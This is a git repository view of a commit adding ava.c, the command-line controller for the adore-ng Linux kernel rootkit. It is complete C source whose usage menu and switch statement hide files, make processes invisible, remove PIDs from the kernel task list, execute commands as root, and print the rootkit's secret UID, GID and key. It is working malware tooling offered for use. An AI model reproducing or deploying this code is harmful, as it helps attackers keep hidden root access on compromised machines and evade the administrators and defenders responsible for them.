summaryrefslogtreecommitdiff
path: root/other/adore-ng/ava.c
diff options
context:
space:
mode:
Diffstat (limited to 'other/adore-ng/ava.c')
-rw-r--r--other/adore-ng/ava.c146
1 files changed, 146 insertions, 0 deletions
diff --git a/other/adore-ng/ava.c b/other/adore-ng/ava.c
new file mode 100644
index 0000000..cf68e79
--- /dev/null
+++ b/other/adore-ng/ava.c
@@ -0,0 +1,146 @@
1/*
2 * Copyright (C) 1999-2003 Stealth.
3 * All rights reserved.
4 *
5 * Redistribution and use in source and binary forms, with or without
6 * modification, are permitted provided that the following conditions
7 * are met:
8 * 1. Redistributions of source code must retain the above copyright
9 * notice, this list of conditions and the following disclaimer.
10 * 2. Redistributions in binary form must reproduce the above copyright
11 * notice, this list of conditions and the following disclaimer in the
12 * documentation and/or other materials provided with the distribution.
13 * 3. All advertising materials mentioning features or use of this software
14 * must display the following acknowledgement:
15 * This product includes software developed by Stealth.
16 * 4. The name Stealth may not be used to endorse or promote
17 * products derived from this software without specific prior written
18 * permission.
19 *
20 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY
21 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
22 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
23 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE
24 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
25 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
26 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
27 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
28 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
29 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
30 * SUCH DAMAGE.
31 */
32#include <sys/types.h>
33#include <sys/ioctl.h>
34#include <unistd.h>
35#include <fcntl.h>
36#include <stdio.h>
37#include <errno.h>
38#include <sys/signal.h>
39#include <stdlib.h>
40
41#include "libinvisible.h"
42
43extern char **environ;
44
45const char *adore_key = ADORE_KEY;
46const uid_t elite_uid = ELITE_UID;
47const gid_t elite_gid = ELITE_GID;
48const int current_adore = CURRENT_ADORE;
49
50int main(int argc, char *argv[])
51{
52 int version;
53 char what;
54 adore_t *a;
55
56 if (argc < 3 && !(argc == 2 &&
57 (argv[1][0] == 'U' || argv[1][0] == 'I'))) {
58 printf("Usage: %s {h,u,r,R,i,v,U} [file or PID]\n\n"
59 " I print info (secret UID etc)\n"
60 " h hide file\n"
61 " u unhide file\n"
62 " r execute as root\n"
63 " R remove PID forever\n"
64 " U uninstall adore\n"
65 " i make PID invisible\n"
66 " v make PID visible\n\n", argv[0]);
67 exit(1);
68 }
69 what = argv[1][0];
70
71 printf("Checking for adore 0.12 or higher ...\n");
72
73 a = adore_init();
74 if (adore_makeroot(a) < 0)
75 fprintf(stderr, "Failed to run as root. Trying anyway ...\n");
76
77 if ((version = adore_getvers(a)) <= 0 && what != 'I') {
78 printf("Adore NOT installed. Exiting.\n");
79 exit(1);
80 }
81 if (version < CURRENT_ADORE)
82 printf("Found adore 1.%d installed. Please update adore.", version);
83 else
84 printf("Adore 1.%d installed. Good luck.\n", version);
85
86 switch (what) {
87
88 /* hide file */
89 case 'h':
90 if (adore_hidefile(a, argv[2]) >= 0)
91 printf("File '%s' hided.\n", argv[2]);
92 else
93 printf("Can't hide file.\n");
94 break;
95
96 /* unhide file */
97 case 'u':
98 if (adore_unhidefile(a, argv[2]) >= 0)
99 printf("File '%s' unhided.\n", argv[2]);
100 else
101 printf("Can't unhide file.\n");
102 break;
103 /* make pid invisible */
104 case 'i':
105 if (adore_hideproc(a, (pid_t)atoi(argv[2])) >= 0)
106 printf("Made PID %d invisible.\n", atoi(argv[2]));
107 else
108 printf("Can't hide process.\n");
109 break;
110
111 /* make pid visible */
112 case 'v':
113 if (adore_unhideproc(a, (pid_t)atoi(argv[2])) >= 0)
114 printf("Made PID %d visible.\n", atoi(argv[2]));
115 else
116 printf("Can't unhide process.\n");
117 break;
118 /* execute command as root */
119 case 'r':
120 execve(argv[2], argv+2, environ);
121 perror("execve");
122 break;
123 case 'R':
124 if (adore_removeproc(a, (pid_t)atoi(argv[2])) >= 0)
125 printf("Removed PID %d from taskstruct\n", atoi(argv[2]));
126 else
127 printf("Failed to remove proc.\n");
128 break;
129 /* uninstall adore */
130 case 'U':
131 if (adore_uninstall(a) >= 0)
132 printf("Adore 0.%d de-installed.\n", version);
133 else
134 printf("Adore wasn't installed.\n");
135 break;
136 case 'I':
137 printf("\nELITE_UID: %u, ELITE_GID=%u, ADORE_KEY=%s "
138 "CURRENT_ADORE=%d\n",
139 elite_uid, elite_gid, adore_key, current_adore);
140 break;
141 default:
142 printf("Did nothing or failed.\n");
143 }
144 return 0;
145}
146